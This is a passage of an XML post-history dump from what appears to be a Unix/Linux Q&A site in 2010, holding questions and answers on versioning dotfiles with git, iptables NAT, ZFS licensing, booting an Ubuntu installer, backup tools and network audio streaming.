  <row Id="3824" PostHistoryTypeId="2" PostId="1875" RevisionGUID="b0984e22-7d0a-4426-90ff-d7a843cbbfcd" CreationDate="2010-09-11T01:16:02.090" UserId="1395" Text="I want to put my home directory (~) under source control (git, in this case), as I have many setting files (.gitconfig, .gitignore, .emacs, etc.) in there I would like to carry across machines, and having them in git would make it nice for retrieving them.  &#xD;&#xA;&#xD;&#xA;My main machine is my MacBook, and the way that OS X is set up, there are many folders i want to ignore (Documents, Downloads, .ssh).  There are also folders which are already using git (.emacs.d).  &#xD;&#xA;&#xD;&#xA;My thought was to just add all these directories to my .gitignore file, but that seems kind of tiresome, and could potentially lead to some unforeseen consequences.  My next thought was to periodically copy the files I want to store into some folder in home, then commit that folder.  The problem with that will be that I have to remember to move them before committing.&#xD;&#xA;&#xD;&#xA;Is there a clean way to do this?" />
  <row Id="3825" PostHistoryTypeId="1" PostId="1875" RevisionGUID="b0984e22-7d0a-4426-90ff-d7a843cbbfcd" CreationDate="2010-09-11T01:16:02.090" UserId="1395" Text="Tips for putting ~ under source control" />
  <row Id="3826" PostHistoryTypeId="3" PostId="1875" RevisionGUID="b0984e22-7d0a-4426-90ff-d7a843cbbfcd" CreationDate="2010-09-11T01:16:02.090" UserId="1395" Text="ésettingsàégità" />
  <row Id="3827" PostHistoryTypeId="2" PostId="1876" RevisionGUID="428605b6-1a73-4ada-b411-d9c343bd819d" CreationDate="2010-09-11T02:26:52.977" UserId="1257" Text="I think your second hunch to have non-related folder under source control is good.&#xD;&#xA;&#xD;&#xA;Just add 2 shell scripts there.  One to copy files under your control to `~` and the other to collect files from `~` and copy it back to the source-controlled folder and commit." />
  <row Id="3828" PostHistoryTypeId="2" PostId="1877" RevisionGUID="e38cd995-c8b8-4411-bbae-c104f14172a6" CreationDate="2010-09-11T02:40:21.627" UserId="1290" Text="I use the old `rcs` for that.&#xD;&#xA;&#xD;&#xA;Have a look at manpages for `ci`, `co`, and `rcs`. Those sites should be helpful as well:&#xD;&#xA;&#xD;&#xA; - http://www.jodypaul.com/SWE/RCSTutorial/RCSTutorial.html&#xD;&#xA; - http://docstore.mik.ua/orelly/perl/sysadmin/appa_01.htm&#xD;&#xA; - http://tldp.org/HOWTO/RCS.html&#xD;&#xA;&#xD;&#xA;I use that for version controlling my dotfiles for instance:&#xD;&#xA;&#xD;&#xA;    ci -u .*vimrc&#xD;&#xA;&#xD;&#xA;And if I want to edit them:&#xD;&#xA;&#xD;&#xA;    co -l .*vimrc&#xD;&#xA;&#xD;&#xA;I recommend making a directory named `RCS` in your `~`, you can then easily backup that directory somewhere." />
  <row Id="3829" PostHistoryTypeId="5" PostId="194" RevisionGUID="0cf2c33e-3eff-41c1-8b48-fe5e9d1bbcf6" CreationDate="2010-09-11T02:51:59.527" UserId="138" Comment="updated to reflect Oracle/NetApp patent settlement" Text="ZFS is not in the official Linux kernel, and never will be unless Oracle relicenses the code under something compatible with the GPL.&#xD;&#xA;&#xD;&#xA;Today, your best options are:&#xD;&#xA;&#xD;&#xA; - Switch to &lt;a href=&quot;https://btrfs.wiki.kernel.org/index.php/Main_Page&quot;&gt;btrfs&lt;/a&gt;, which has similar features to ZFS but doesn't have the GPL license conflict and has been in the mainline kernel for testing since 2.6.29 (released in January 2009)&#xD;&#xA;&#xD;&#xA; - Use a different OS for your file server (FreeBSD 8, say) and use NFS to connect it to your Linux boxes&#xD;&#xA;&#xD;&#xA; - Use &lt;a href=&quot;http://zfs-on-fuse.blogspot.com/&quot;&gt;ZFS on FUSE&lt;/a&gt;, a userspace implementation, which works neatly around the kernel licensing issue at the expense of a significant amount of performance&#xD;&#xA;&#xD;&#xA;Incidentally, btrfs is also backed by Oracle, but was started years before the Sun acquisition.&#xD;&#xA;&#xD;&#xA;As for whether the two will ever merge, or one be deprecated in favor of the other, I can only opine, since I don't have any say in any of this.  My guess is that they won't, even now that &lt;a href=&quot;http://www.techworld.com.au/article/360107/oracle_netapp_agree_settle_zfs_patent_litigation&quot;&gt;the patent lawsuit over ZFS is over&lt;/a&gt;. That settlement doesn't stop NetApp from suing, say, Red Hat if ZFS were to show up in some future RHEL release.  Even if NetApp were to abandon their patent claims, there would still be the license conflict to deal with.&#xD;&#xA;&#xD;&#xA;As for the advisability of using the &lt;a href=&quot;http://github.com/behlendorf/zfs&quot;&gt;Behlendorf ZFS port for Linux&lt;/a&gt;, the &lt;a href=&quot;http://wiki.github.com/behlendorf/zfs/faq&quot;&gt;first question in their FAQ&lt;/a&gt; expands on what I said above: it'll never be in the official kernel due to the licensing conflict, though this doesn't stop you from integrating the two at your site, as long as you don't distribute the combination.  That's enough to kill it for me.  First, I want the freedom to build up a Linux box, then sell it to someone: that violates the clause of the GPL that lets you do on-site integration with code under an incompatible license as long as the result doesn't get distributed.  Second, I want my Linux distro's installer to be able to create all filesystems at install time, which means they also need the freedom to distribute the kernel with the filesystems in it that I want to use.  If it doesn't come built into my Linux distro of choice, I won't use it in production." />
  <row Id="3830" PostHistoryTypeId="2" PostId="1878" RevisionGUID="5fa47ec0-0047-4802-99ff-686bbb992a28" CreationDate="2010-09-11T04:05:31.423" UserId="1620" Text="A web search for *git home directory* brings up a lot of good hits. In particular, there's a specialized utility called [git-home][1] which is probably worth looking at.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://crunchbanglinux.org/wiki/revision_controlled_home_directory" />
  <row Id="3831" PostHistoryTypeId="5" PostId="1878" RevisionGUID="3c4bcf1c-c986-46be-9610-9e5ebe8ea20b" CreationDate="2010-09-11T04:19:44.427" UserId="1620" Comment="Use correct URL in link" Text="A web search for *git home directory* brings up a lot of good hits. In particular, there's a specialized utility called [git-home][1] which is probably worth looking at.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git-home.chezwam.org/" />
  <row Id="3832" PostHistoryTypeId="5" PostId="1839" RevisionGUID="da1aab03-31c1-4b06-a114-8a156f566551" CreationDate="2010-09-11T05:04:15.027" UserId="1608" Comment="added 119 characters in body" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I want to know about the &quot;filter-command&quot; which are available in Unix.&#xD;&#xA;I am confused regarding this:&#xD;&#xA;&#xD;&#xA; 1. What is the purpose of &quot;Filter-Command&quot; ?&#xD;&#xA; 2. Which are the Filter-commands available in Unix?&#xD;&#xA;&#xD;&#xA;As I have read some books on web, in some books i found few filter commands and in another book i found some other." />
  <row Id="3833" PostHistoryTypeId="6" PostId="1869" RevisionGUID="0705dc5b-6730-4852-b083-aac4a58c6119" CreationDate="2010-09-11T08:56:12.470" UserId="73" Comment="edited tags" Text="élinuxàéubuntuàéhardwareà" />
  <row Id="3834" PostHistoryTypeId="2" PostId="1879" RevisionGUID="00a9f041-b3a6-4ddc-b06f-ed7b1f90c6c2" CreationDate="2010-09-11T09:04:01.887" UserId="1327" Text="I'm using [this guide](http://wiki.archlinux.org/index.php/Internet_Share) to set-up a shared internet connection between two PC's.&#xD;&#xA;&#xD;&#xA;At **step 8** it says I should run the commands:&#xD;&#xA;&#xD;&#xA;    iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&#xD;&#xA;    /etc/rc.d/iptables save&#xD;&#xA;    /etc/rc.d/iptables start&#xD;&#xA;&#xD;&#xA;Doing this seems to have no effect on iptable's **rules**, if I run `iptables -nvL` my output is:&#xD;&#xA;&#xD;&#xA;    Chain INPUT (policy ACCEPT 2223 packets, 2330K bytes)&#xD;&#xA;     pkts bytes target     prot opt in     out     source         destination&#xD;&#xA; &#xD;&#xA;    Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)&#xD;&#xA;      pkts bytes target     prot opt in     out     source        destination&#xD;&#xA;&#xD;&#xA;    Chain OUTPUT (policy ACCEPT 2272 packets, 277K bytes)&#xD;&#xA;      pkts bytes target     prot opt in     out     source        destination&#xD;&#xA;&#xD;&#xA;Is that correct or am I doing something wrong?" />
  <row Id="3835" PostHistoryTypeId="1" PostId="1879" RevisionGUID="00a9f041-b3a6-4ddc-b06f-ed7b1f90c6c2" CreationDate="2010-09-11T09:04:01.887" UserId="1327" Text="using iptables to bridge two network  devices" />
  <row Id="3836" PostHistoryTypeId="3" PostId="1879" RevisionGUID="00a9f041-b3a6-4ddc-b06f-ed7b1f90c6c2" CreationDate="2010-09-11T09:04:01.887" UserId="1327" Text="éarchölinuxàéiptablesà" />
  <row Id="3837" PostHistoryTypeId="2" PostId="1880" RevisionGUID="7a858f87-264b-4ff4-9244-5436dd2d31b2" CreationDate="2010-09-11T09:12:43.770" UserId="1078" Text="The command `iptables -nvL` is displaying the contents of the `filter` table. The rule you are adding is in the `nat` table. Add `-t nat` to look at the `nat` table:&#xD;&#xA;&#xD;&#xA;    iptables -t nat -nvL&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3838" PostHistoryTypeId="2" PostId="1881" RevisionGUID="068f7a1f-d8a7-4b56-bd95-f5c3426ea96b" CreationDate="2010-09-11T09:13:34.427" UserId="1327" Text="So, using **XForwarding**, you can access GUI applications over ssh between two **Xorg powered machines**, ( and sometimes even from a windows machine ).&#xD;&#xA;&#xD;&#xA;Is there a way to access **OSX applications** ( like Finder ) from a **Xorg** machine?" />
  <row Id="3839" PostHistoryTypeId="1" PostId="1881" RevisionGUID="068f7a1f-d8a7-4b56-bd95-f5c3426ea96b" CreationDate="2010-09-11T09:13:34.427" UserId="1327" Text="XForwarding Applications from OSX" />
  <row Id="3840" PostHistoryTypeId="3" PostId="1881" RevisionGUID="068f7a1f-d8a7-4b56-bd95-f5c3426ea96b" CreationDate="2010-09-11T09:13:34.427" UserId="1327" Text="éosxàéxorgàéxforwardingà" />
  <row Id="3841" PostHistoryTypeId="2" PostId="1882" RevisionGUID="24652a66-20ac-4501-bae7-45474927ea2d" CreationDate="2010-09-11T09:17:19.787" UserId="1078" Text="I have `$HOME` under git. The first line of my .gitignore file is&#xD;&#xA;&#xD;&#xA;    /*&#xD;&#xA;&#xD;&#xA;The rest are patterns to not ignore using the `!` modifier. This first line means the default is to ignore all files in my home directory. Those files that I want to version control go into `.gitignore` like this:&#xD;&#xA;&#xD;&#xA;    !.gitignore&#xD;&#xA;    !.profile&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;A trickier pattern I have is:&#xD;&#xA;&#xD;&#xA;    !.ssh&#xD;&#xA;    .ssh/*&#xD;&#xA;    !.ssh/config&#xD;&#xA;&#xD;&#xA;That is, I only want to version `.ssh/config` - I don't want my keys and other files in .ssh to go into git. The above is how I achieve that.&#xD;&#xA;" />
  <row Id="3842" PostHistoryTypeId="2" PostId="1883" RevisionGUID="3cf86a4f-a383-42b0-85a9-88d63ca5faf8" CreationDate="2010-09-11T09:22:05.157" UserId="1131" Text="1. Remove this device from the LVM group&#xD;&#xA;&#xD;&#xA;2. dd if=/dev/zero of=/dev/sdc bs=4k&#xD;&#xA;&#xD;&#xA;3. Include it again into the LVM group&#xD;&#xA;4. Restore your backup" />
  <row Id="3843" PostHistoryTypeId="2" PostId="1884" RevisionGUID="04920b2c-3bfd-452f-8da4-316e02748f7b" CreationDate="2010-09-11T11:22:45.117" UserId="885" Text="What I do (with the same objectives) is to put my configuration files in a subdirectory `~/lib` and have symbolic links in my home directory, e.g., `.emacs -&gt; lib/emacs/dot.emacs`. I only keep configuration files that I wrote explicitly under version control; my home directory contains plently of automatically-created dot files that are not under version control. Thus `~/lib` is under version control, and my home directory is not.&#xD;&#xA;&#xD;&#xA;I have a script that creates the symbolic links from the files under `~/lib`. When I create an account on a new machine, I populate it by checking out `~/lib` and running that script.&#xD;&#xA;&#xD;&#xA;My experience is with CVS, not git, so it's not 100% transferable. One of the reasons I didn't put my home directory directly under CVS is that `~/.cvsignore` would apply to all my CVS checkouts and not just my home directory. You would have a similar problem to a lesser degree with git's `~/.gitignore` (a file `~/.gitignore` applies to all git repositories checked out in your home that don't have their own `.gitignore`). The downside of that approach compared with having the home directory under version control is that you can't use `git status` to distinguish between a file that you've explicitly decided to ignore (which would be listed in the ignore file, so not displayed) and a file that you have no opinion about (which would be displayed with a `?`).&#xD;&#xA;&#xD;&#xA;Some files need to be different on different machines. I put them in a directory called `~/Local/SITENAME/lib` and either create symbolic links for them as well or (for file formats that support it) have an include directive in the file under `~/lib`. I also have a symbolic link `~/Here -&gt; ~/Local/SITENAME`. Since git, unlike CVS, is designed to support mostly-similar-but-not-identical repositories, there may be a better way to manage machine-specific files. A few of my dot files are in fact not symbolic links, but automatically generated from content under `~/lib` and `~/Here`.&#xD;&#xA;" />
  <row Id="3844" PostHistoryTypeId="2" PostId="1885" RevisionGUID="9580b4df-5af5-4206-9006-751ab8325217" CreationDate="2010-09-11T11:23:08.570" UserId="1327" Text="Microsoft is not the answer. Microsoft is the question. NO (or Linux) is the answer.&#xD;&#xA;&#xD;&#xA;- taken from [here](http://www.linuxweb.com/lw_quotes.html)" />
  <row Id="3845" PostHistoryTypeId="16" PostId="1885" RevisionGUID="9580b4df-5af5-4206-9006-751ab8325217" CreationDate="2010-09-11T11:23:08.570" UserId="-1" />
  <row Id="3846" PostHistoryTypeId="5" PostId="1881" RevisionGUID="c2722c91-53e5-473b-833e-eca4c3fb8e6b" CreationDate="2010-09-11T12:21:45.913" UserId="73" Comment="deleted 24 characters in body" Text="Using XForwarding, you can access GUI applications over ssh between two Xorg-powered machines (and sometimes even from a windows machine).&#xD;&#xA;&#xD;&#xA;Is there a way to access OSX applications (like Finder) from an Xorg machine?" />
  <row Id="3847" PostHistoryTypeId="2" PostId="1886" RevisionGUID="e13f7d30-fd10-4a59-8a8d-c63fb5f6384c" CreationDate="2010-09-11T14:27:56.597" UserId="1631" Text="Finder (and most mac applications) doesn't use X APIs, so can't be forwarded over over ssh like that.  Sharing the desktop via VNC or apple remote desktop works fine though -- look in the &quot;Sharing&quot; preference pane for the &quot;Screen Sharing&quot; option to set it up on the mac, then use a vnc client on the other machine." />
  <row Id="3848" PostHistoryTypeId="5" PostId="1886" RevisionGUID="e540177f-d2f8-451d-ae7e-5b0dbd2cbb94" CreationDate="2010-09-11T14:34:41.860" UserId="1631" Comment="added 55 characters in body" Text="Finder doesn't use X APIs, so can't be forwarded over over ssh like that. Same with most mac applications; apple have their own windowing system called Aqua. Sharing the desktop via VNC or apple remote desktop works fine though -- look in the &quot;Sharing&quot; preference pane for the &quot;Screen Sharing&quot; option to set it up on the mac, then use a vnc client on the other machine." />
  <row Id="3849" PostHistoryTypeId="2" PostId="1887" RevisionGUID="acfdbb47-8459-4a44-95d8-2017369e9a85" CreationDate="2010-09-11T15:11:38.260" UserId="1631" Text="Lennart Poettering recently did some digging into linux filesystem locking behaviour, which doesn't paint a particularly rosy picture for locking over NFS (especially the follow-up he links to at the bottom of the post).&#xD;&#xA;&#xD;&#xA;http://0pointer.de/blog/projects/locking.html&#xD;&#xA;" />
  <row Id="3850" PostHistoryTypeId="2" PostId="1888" RevisionGUID="ba734385-2d5c-4aa3-b605-37bce06e6cbc" CreationDate="2010-09-11T15:43:11.400" UserId="1418" Text="My keyboard skips one or two characters, whenever I stop typing for 5 seconds or more. Since I just installed 11.3 openSUSE, I don't know if this issue is an improper configuration, a bug in 11.3, or my keyboard failing. It doesn't matter what application I am running, or what keys are pressed. &#xD;&#xA;&#xD;&#xA;Keyboard failure doesn't seem likely. I cannot find anything in either yast or personal preferences that might fix it. Thus, I suspect something in SUSE, maybe the keyboard driver, but I am a not a Linux pro, and I am stumped. &#xD;&#xA;&#xD;&#xA;It is very annoying, having to &lt;b&gt;k&lt;/b&gt;key first characters twice after pausing. &#xD;&#xA;&#xD;&#xA;Thanks very much for any help." />
  <row Id="3851" PostHistoryTypeId="1" PostId="1888" RevisionGUID="ba734385-2d5c-4aa3-b605-37bce06e6cbc" CreationDate="2010-09-11T15:43:11.400" UserId="1418" Text="Just installed openSUSE 11.3, and after 5 seconds , my keyboard goes to sleep for 1-2 characters???" />
  <row Id="3852" PostHistoryTypeId="3" PostId="1888" RevisionGUID="ba734385-2d5c-4aa3-b605-37bce06e6cbc" CreationDate="2010-09-11T15:43:11.400" UserId="1418" Text="éopensuseàékeyboardà" />
  <row Id="3853" PostHistoryTypeId="2" PostId="1889" RevisionGUID="e999235e-258a-4e2d-ab05-f1f44a4676f1" CreationDate="2010-09-11T15:45:12.393" UserId="912" Text="  - I am trying to install Ubuntu 10.04 on my machine which already has Windows Vista and Fedora installed.&#xD;&#xA;&#xD;&#xA;  - I use GRUB to get the boot menu. The GRUB screen looks something like this (has a fedora logo at the bottom)&#xD;&#xA;&#xD;&#xA; ![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  - The problem is that when I insert the CD and try to boot, it takes me directly to the GRUB menu for Fedora/Vista, nothing for Ubuntu.&#xD;&#xA;&#xD;&#xA;  - So, I tried Ubuntu's CD boot helper to help me boot from the CD, and I get this error&#xD;&#xA;&#xD;&#xA;  ![alt text][2]&#xD;&#xA;&#xD;&#xA;  - The BIOS says that I should press &lt;kbd&gt;F2&lt;/kbd&gt; for setup and &lt;kbd&gt;F12&lt;/kbd&gt; for boot options. I tried them. Nothing happens except that it goes straight to the GRUB menu.&#xD;&#xA;&#xD;&#xA;**What should I do?**&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Originally posted [here][3], did not get a solution till now.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Md7Za.png&#xD;&#xA;  [2]: http://i.imgur.com/HATv1.png&#xD;&#xA;  [3]: http://ubuntu.stackexchange.com/questions/4026/need-help-booting-the-machine-using-the-ubuntu-10-04-installer-cd" />
  <row Id="3854" PostHistoryTypeId="1" PostId="1889" RevisionGUID="e999235e-258a-4e2d-ab05-f1f44a4676f1" CreationDate="2010-09-11T15:45:12.393" UserId="912" Text="need help booting the machine using the Ubuntu 10.04 installer CD" />
  <row Id="3855" PostHistoryTypeId="3" PostId="1889" RevisionGUID="e999235e-258a-4e2d-ab05-f1f44a4676f1" CreationDate="2010-09-11T15:45:12.393" UserId="912" Text="élinuxàéunixàéubuntuàéinstallàégrubà" />
  <row Id="3856" PostHistoryTypeId="2" PostId="1890" RevisionGUID="58b59c56-51e6-4722-b2e3-3c2b7c019b49" CreationDate="2010-09-11T17:02:17.167" UserId="1074" Text="The Ubuntu Boot CD Helper can't write to the MBR of the disk.&#xD;&#xA;Though I have never used it, I can assume this is because you don't have a Windows bootloader installed there, you have grub.&#xD;&#xA;&#xD;&#xA;Chances are that you are using a usb keyboard (please do specify) and USB Legacy Support is not enabled in your mobo. This renders it unusable until the OS loads the appropriate drivers for the USB ports. A 'quick' way to work around this is to plug in a ps2 keyboard (if you have one). &#xD;&#xA;&#xD;&#xA;Alternatively, you can set grub to boot from the cdrom drive. &#xD;&#xA;&#xD;&#xA;Boot into Fedora, &#xD;&#xA;&#xD;&#xA;~# sudo vi /boot/grub/menu.lst&#xD;&#xA;&#xD;&#xA;And following from the last line, add &#xD;&#xA;&#xD;&#xA;title CDROM&#xD;&#xA;&#xD;&#xA;root (hd0,0) (this will be subject to your schema, you will need to place the appropriate &#xD;&#xA;device name here)&#xD;&#xA;&#xD;&#xA;kernel /boot/grub/memdisk.bin&#xD;&#xA;&#xD;&#xA;initrd /boot/grub/sbootmgr.dsk&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;See if that works. &#xD;&#xA;&#xD;&#xA;Another alternative would be to restore the boot sector from windows and then use the Ubuntu CD Boot Helper.&#xD;&#xA;&#xD;&#xA;Haven't done it myself on Windows7, but if I recall corretly, it involved running&#xD;&#xA;&#xD;&#xA;fixmbr&#xD;&#xA;fixboot&#xD;&#xA;&#xD;&#xA;This will, of course, reset your boot sector to a state where you can only boot windows. But upon being able to install Ubuntu, you will be able to add an entry for Fedora too.&#xD;&#xA;&#xD;&#xA;Cheers!&#xD;&#xA;&#xD;&#xA;(And apologies about the poor formatting, I am still looking into it)." />
  <row Id="3857" PostHistoryTypeId="2" PostId="1891" RevisionGUID="102be54e-85a8-48b9-bd64-9b2ffbcd0fbd" CreationDate="2010-09-11T17:10:10.660" UserId="1375" Text="After using an Ubuntu virtual machine for a while, I think I am ready to get a real, physical machine and use Ubuntu on it.&#xD;&#xA;&#xD;&#xA;Since I am still relatively new to the Linux world, is there a reliable solution for making regular backups of files and settings for my system (maybe similar to Apple's Time Machine?) that I can rely upon when, e.g., my hard drive fails, or something bad happens?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="3858" PostHistoryTypeId="1" PostId="1891" RevisionGUID="102be54e-85a8-48b9-bd64-9b2ffbcd0fbd" CreationDate="2010-09-11T17:10:10.660" UserId="1375" Text="Straightforward system and file backup/restore for Linux?" />
  <row Id="3859" PostHistoryTypeId="3" PostId="1891" RevisionGUID="102be54e-85a8-48b9-bd64-9b2ffbcd0fbd" CreationDate="2010-09-11T17:10:10.660" UserId="1375" Text="élinuxàéubuntuàébackupà" />
  <row Id="3860" PostHistoryTypeId="2" PostId="1892" RevisionGUID="978c9b44-ce39-4394-85f9-5ff2087935ca" CreationDate="2010-09-11T17:33:53.103" UserId="1074" Text="You could give TimeVault (https://launchpad.net/timevault) or FlyBack (http://code.google.com/p/flyback/) a try.&#xD;&#xA;&#xD;&#xA;I am a gentoo user myself, so I haven't really tried these, but they seem like they are pretty straight forward. &#xD;&#xA;&#xD;&#xA;TimeVault does not seem to work correctly under Lucid, but only due to an incompatibility with python 2.6. &#xD;&#xA;&#xD;&#xA;Let me know if this helps or if you need further information. &#xD;&#xA;&#xD;&#xA;Cheers!" />
  <row Id="3861" PostHistoryTypeId="2" PostId="1893" RevisionGUID="1bcf7e71-2328-421f-b1ce-9589cb41502b" CreationDate="2010-09-11T17:42:10.637" UserId="649" Text="This is a rather crazy idea. &#xD;&#xA;&#xD;&#xA;I am planing to set up a configuration that would send audio being played on my laptop to my home server via local network so that the sound is played on the server connected to a hi-fi with good speakers.&#xD;&#xA;&#xD;&#xA;It's supposed to serve the purpose of watching movies on the laptop with sound on the speakers without rearanging cables.&#xD;&#xA;&#xD;&#xA;I suppose it can be done similarly to writing text to a file mounted via sftp, but with the /dev/audio or /dev/mixer&#xD;&#xA;&#xD;&#xA;But I have no idea how to intercept the audio output.&#xD;&#xA;&#xD;&#xA;Looking forward to tips from Pros ;)" />
  <row Id="3862" PostHistoryTypeId="1" PostId="1893" RevisionGUID="1bcf7e71-2328-421f-b1ce-9589cb41502b" CreationDate="2010-09-11T17:42:10.637" UserId="649" Text="Sending audio through network" />
  <row Id="3863" PostHistoryTypeId="3" PostId="1893" RevisionGUID="1bcf7e71-2328-421f-b1ce-9589cb41502b" CreationDate="2010-09-11T17:42:10.637" UserId="649" Text="énetworkingàéaudioà" />
  <row Id="3864" PostHistoryTypeId="2" PostId="1894" RevisionGUID="0476f11c-745e-45b6-a240-a32f626dc262" CreationDate="2010-09-11T17:58:06.827" UserId="1294" Text="Your best bet is probably [VLC/VLS][1], **but** expect some nasty problems with synchronization drift as it is hard to keep video playing here in lockstep with audio data playing there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.videolan.org/vlc/" />
  <row Id="3865" PostHistoryTypeId="2" PostId="1895" RevisionGUID="564440f4-2292-4d67-b266-5371f893b59b" CreationDate="2010-09-11T18:51:42.340" UserId="1290" Text="Use [MPD][1] on your laptop to stream the music to your computer at home.&#xD;&#xA;&#xD;&#xA;I suggest, however, that you run MPD on the computer at home, and just connect to MPD with your Client from your laptop (I suggest [GMPC][2]).&#xD;&#xA;&#xD;&#xA;It is how I listen to music all the time, I have just one computer with music on it, and clients on my laptop and other computers.&#xD;&#xA;&#xD;&#xA;MPD can stream the music through network, so you can feed that to a server or directly play it with mplayer.&#xD;&#xA;&#xD;&#xA;  [1]: http://mpd.wikia.com/wiki/Music_Player_Daemon_Wiki&#xD;&#xA;  [2]: http://gmpc.wikia.com/wiki/Gnome_Music_Player_Client" />
  <row Id="3866" PostHistoryTypeId="2" PostId="1896" RevisionGUID="dfb98fc5-60ad-4d7e-9903-e648e41cfc95" CreationDate="2010-09-11T18:52:59.690" UserId="885" Text="What you're looking for is a [sound server](http://en.wikipedia.org/wiki/Sound_server). These programs send sound over the network. Choices include [JACK](http://jackit.sourceforge.net), [NAS](http://nas.sourceforge.net/), [Pulseaudio](http://pulseaudio.org/) and [more](http://en.wikipedia.org/wiki/List_of_Linux_audio_software#Sound_servers).&#xD;&#xA;&#xD;&#xA;Pulseaudio is the default audio system on Ubuntu and is widely available on Unix. JACK is widely available on desktop operating systems and prides itself on its low latency. I'd try these two first.&#xD;&#xA;&#xD;&#xA;To play music on a different computer, any of these programs would do as long as you manage to install the same program on both machines (they use incompatible protocols, though some have translation modules). But when playing movies, you may have trouble because forwarding sound over the network introduces perceptible latency. Some movie players allow you to fine-tune the alignment between audio and video, you may need to play with this setting.&#xD;&#xA;" />
  <row Id="3867" PostHistoryTypeId="2" PostId="1897" RevisionGUID="2e9a5137-9499-4b9b-9ed9-7a674b7d44b7" CreationDate="2010-09-11T19:24:19.037" UserId="1501" Text="You can get information about bash built-in commands with `help`, for example `help alias` or `help export`.&#xD;&#xA;" />
  <row Id="3868" PostHistoryTypeId="2" PostId="1898" RevisionGUID="579c5a0e-2836-4b4e-8ecf-31c2967c63ee" CreationDate="2010-09-11T20:26:58.690" UserId="252" Text="As Gilles said, you're best of looking into updating your soundserver config. &#xD;&#xA;&#xD;&#xA;You can use [pulseaudio](http://pulseaudio.org/) to listen to a TCP port.&#xD;&#xA;Be sure to check [padevchooser](http://0pointer.de/lennart/projects/padevchooser/), which is a GUI frontend to update your config.&#xD;&#xA;&#xD;&#xA;You can find a tutorial on &lt;http://wiki.archlinux.org/index.php/PulseAudio#PulseAudio_over_network&gt;" />
  <row Id="3869" PostHistoryTypeId="2" PostId="1899" RevisionGUID="7f7e2680-5ee6-4911-a4f0-9126b1f0e11e" CreationDate="2010-09-11T21:12:35.817" UserId="1207" Text="In addition to what wormintrude mentioned you might consider:&#xD;&#xA;&#xD;&#xA; - [rdiff-backup][1]: I've used this myself regularly in the past.  The pros are that it does incremental backups, can be used for remote backups or local backups, and has a wide range of features that makes it easy to implement a wide range of backup policies.  The down side is that it is basically just a collection of command line utilities and thus requires you to write cron jobs to manage the backups.&#xD;&#xA;&#xD;&#xA; - [Deja Dup][2]: This is a GUI-centric solution that provides a lot of the same features as rdiff-backup but without the need for self-written cron jobs.  It also supports encrypted backups and backups to amazon's cloud service.&#xD;&#xA;&#xD;&#xA; - [rsnapshot][3]: This is still a command-line based utility but uses conf files in /etc to reduce the amount of custom script writing that is necessary.  &#xD;&#xA;&#xD;&#xA;As far as I know, all of these are available in the Ubuntu repositories.  The most straightforward of these is Deja Dup, which is meant to be easy-to-use and integrate well with GNOME. One advantage of all three is that they make incremental backups.  Thus you can have daily backups reaching fairly far back without taking up much more space than one full backup.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rdiff-backup.nongnu.org/&#xD;&#xA;  [2]: https://launchpad.net/deja-dup&#xD;&#xA;  [3]: http://www.rsnapshot.org/" />
  <row Id="3870" PostHistoryTypeId="5" PostId="1893" RevisionGUID="5c6e1a7a-7a8d-433d-a818-79d38b9c8f83" CreationDate="2010-09-11T21:19:30.383" UserId="649" Comment="emphasis" Text="This is a rather crazy idea. &#xD;&#xA;&#xD;&#xA;I am planing to set up a configuration that would send audio being played on my laptop to my home server via **local** network so that the sound is played on the server connected to a hi-fi with good speakers.&#xD;&#xA;&#xD;&#xA;It's supposed to serve the purpose of watching movies on the laptop with sound on the speakers without rearanging cables.&#xD;&#xA;&#xD;&#xA;I suppose it can be done similarly to writing text to a file mounted via sftp, but with the /dev/audio or /dev/mixer&#xD;&#xA;&#xD;&#xA;But I have no idea how to intercept the audio output.&#xD;&#xA;&#xD;&#xA;Looking forward to tips from Pros ;)" />
  <row Id="3871" PostHistoryTypeId="5" PostId="1766" RevisionGUID="272dbe94-48aa-4130-8dc8-32f63e7c2c78" CreationDate="2010-09-12T00:14:12.273" UserId="73" Comment="added 67 characters in body" Text="You don't need to process things like `~`, the shell does it for you. That's why you can pass `~/filename` to any script or program and it works -- all those programs don't handle `~` themselves, your shell converts the argument to `/home/username/filename` and passes that to the program instead:&#xD;&#xA;&#xD;&#xA;    $ echo ~/filename&#xD;&#xA;    /home/mrozekma/filename&#xD;&#xA;&#xD;&#xA;If you need a canonical filename (one that doesn't include things like `..`), use `realpath` (thanks [Neil](http://unix.stackexchange.com/users/1620/neil-mayhew)):&#xD;&#xA;&#xD;&#xA;    $ realpath ~/../filename&#xD;&#xA;    /home/filename&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;As for splitting the path into directory name and filename, use `dirname` and `basename`:&#xD;&#xA;&#xD;&#xA;    $ dirname /foo/bar/baz&#xD;&#xA;    /foo/bar&#xD;&#xA;&#xD;&#xA;    $ basename /foo/bar/baz&#xD;&#xA;    baz" />
  <row Id="3872" PostHistoryTypeId="5" PostId="1884" RevisionGUID="d88302c0-02b8-4740-b617-3a7a0a8e88e7" CreationDate="2010-09-12T00:26:58.703" UserId="885" Comment="git doesn't look for .gitignore outside the work tree" Text="What I do (with the same objectives) is to put my configuration files in a subdirectory `~/lib` and have symbolic links in my home directory, e.g., `.emacs -&gt; lib/emacs/dot.emacs`. I only keep configuration files that I wrote explicitly under version control; my home directory contains plently of automatically-created dot files that are not under version control. Thus `~/lib` is under version control, and my home directory is not.&#xD;&#xA;&#xD;&#xA;I have a script that creates the symbolic links from the files under `~/lib`. When I create an account on a new machine, I populate it by checking out `~/lib` and running that script.&#xD;&#xA;&#xD;&#xA;My experience is with CVS, not git, so it's not 100% transferable. One of the reasons I didn't put my home directory directly under CVS is that `~/.cvsignore` would apply to all my CVS checkouts and not just my home directory; git 